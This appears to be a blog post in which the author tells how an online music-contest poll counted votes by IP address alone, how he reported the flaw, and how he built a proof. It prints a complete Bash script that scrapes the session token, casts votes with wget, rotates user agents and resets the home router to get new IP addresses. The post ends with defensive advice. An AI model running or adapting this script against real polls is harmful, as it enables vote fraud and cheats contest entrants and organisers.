The quintessence of an e-voting transaction is to be secure. In the e-voting context, security issues are very subtle. This is because there are features that clash with each other. For example, guaranteeing anonymity makes it harder to track election fraud. In addition, security in e-voting is highly related to the type of the technology used during the process. In distance e-voting, the voter can cast his vote from his personal computer by sending it to a central server via the Internet. The electronic, network-based nature of the latter makes it susceptible to a wide range of attacks.
Recently, a colleague informed me that he observed something weird during an online voting contest and asked for my opinion. He was actually a member of a music group that was taking part in the contest. The prize was to play a Saturday night concert in a popular venue in Athens, Greece. His observation was that one of the contenders was gaining votes rapidly sometimes during the day (dozens of votes in a few minutes). When I saw the contest’s webpage I realised that the system was using only IP addresses in order to identify a vote as valid. This of course, gave the voters, the opportunity to vote more than one times either from another computer with a different IP address or … from the same computer provided that the voter resets his router and obtains automatically another IP address from the provider. We immediately informed the site administrators for this issue. In turn they informed us that they would examine the issue and that we should not worry about it. The “weird voting behaviour” continued and while there was no answer we notified the site administrators again. The answer was that they could not see a way to attack the system, which was untrue.
To prove that the system was vulnerable, together with another colleague (George Zouganelis), we created a simple Bash (Unix shell) script that could continuously cast a vote to the vulnerable system and reset the home router. To achieve this, we initially observed the source of the webpage to see the requests needed to cast a vote. A key characteristic of the system involved the following: for every HTTP GET request, the system created a “unique identifier” for the session, which was assigned to a variable called “name”. This identifier was then used by the system during the HTTP POST request to cast the vote. To cast a vote, our script (which we called “the voter” – see the code below) took the following steps: Initially, the voter removed the cookie saved locally from the previous session (line 4). Then it selected a random browser name from an external file (i.e. “Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/4A93 Safari/419.3”) — see line 5. By using the wget command, the voter retrieved the webpage, as a browser would do (lines 6 to 12). When the form was retrieved, the script searched for the “unique identifier” in it (see line 14). After that, wget was used again in order to cast the vote via POST request (lines 17 to 25). As you can see, the value of the “unique identifier” was sent back via the token variable (line 21). Finally, if the vote was casted successfully, the voter reset the router (line 34) and waited for some time to loop.
- #!/bin/sh
- while [ 1 ]
- do
- rm cookie.txt
- agent=$(sort agents.txt -R | grep “Mozil\|Oper” | head -n 1)
- wget \
- –quiet \
- -O form.html \
- –keep-session-cookies –save-cookies=cookie.txt \
- –referer=”http://foo.com/index.php?option=com_acepolls&view=poll&id=1:rock-poll” \
- –user-agent=”$agent” \
- “http://foo.com/index.php?option=com_acepolls&view=poll&id=1:rock-poll&Itemid=161”
- token=$(grep “name=\”[0-9a-f]\{32\}\”” form.html | grep -o “[0-9a-f]\{32\}” 2>/dev/null)
- if [ “” != “$token” ]; then
- wget \
- –quiet \
- -O submit.html \
- –keep-session-cookies –load-cookies=cookie.txt \
- –post-data=”voteid=13&option=com_acepolls&task=vote&id=1&$token=1&task_button=Vote” \
- –referer=”http://foo.com/index.php?option=com_acepolls&view=poll&id=1:rock-poll” \
- –user-agent=”$agent” \
- “http://foo.com/index.php?option=com_acepolls&view=polls&Itemid=161”
- fi
- success=$(grep -o “Thank you for voting!” submit.html 2>/dev/null)
- if [ “” != “$success” ]
- then success=”1″
- else success=”0″
- fi
- wget -O routerresponse.html –post-data=”PPP_Disconnect=1&PPP_Connect=0″ “http://192.168.2.1/cgi-bin/statusprocess.exe”
- sleep 3
- dslon=””
- while [ “” == “$dslon” ]
- do
- sleep 1
- dslon=$(ping -c 1 195.251.251.19 | grep -o “1 packets” 2>/dev/null)
- done
- sleep 10
- done
After this little show off, the site administrators decided to cancel the voting procedure and re-design their system. Were they “electioneering” in favour of the music group that enjoyed this rapid vote increase or were they just clumsy? That’s a position that you don’t want to be in so I would advise you to be careful if you want to set up an online voting poll. In this case, a facebook ID, a simple login or even a CAPTCHA could provide a solution. For more on e-voting security you can refer to this interesting article.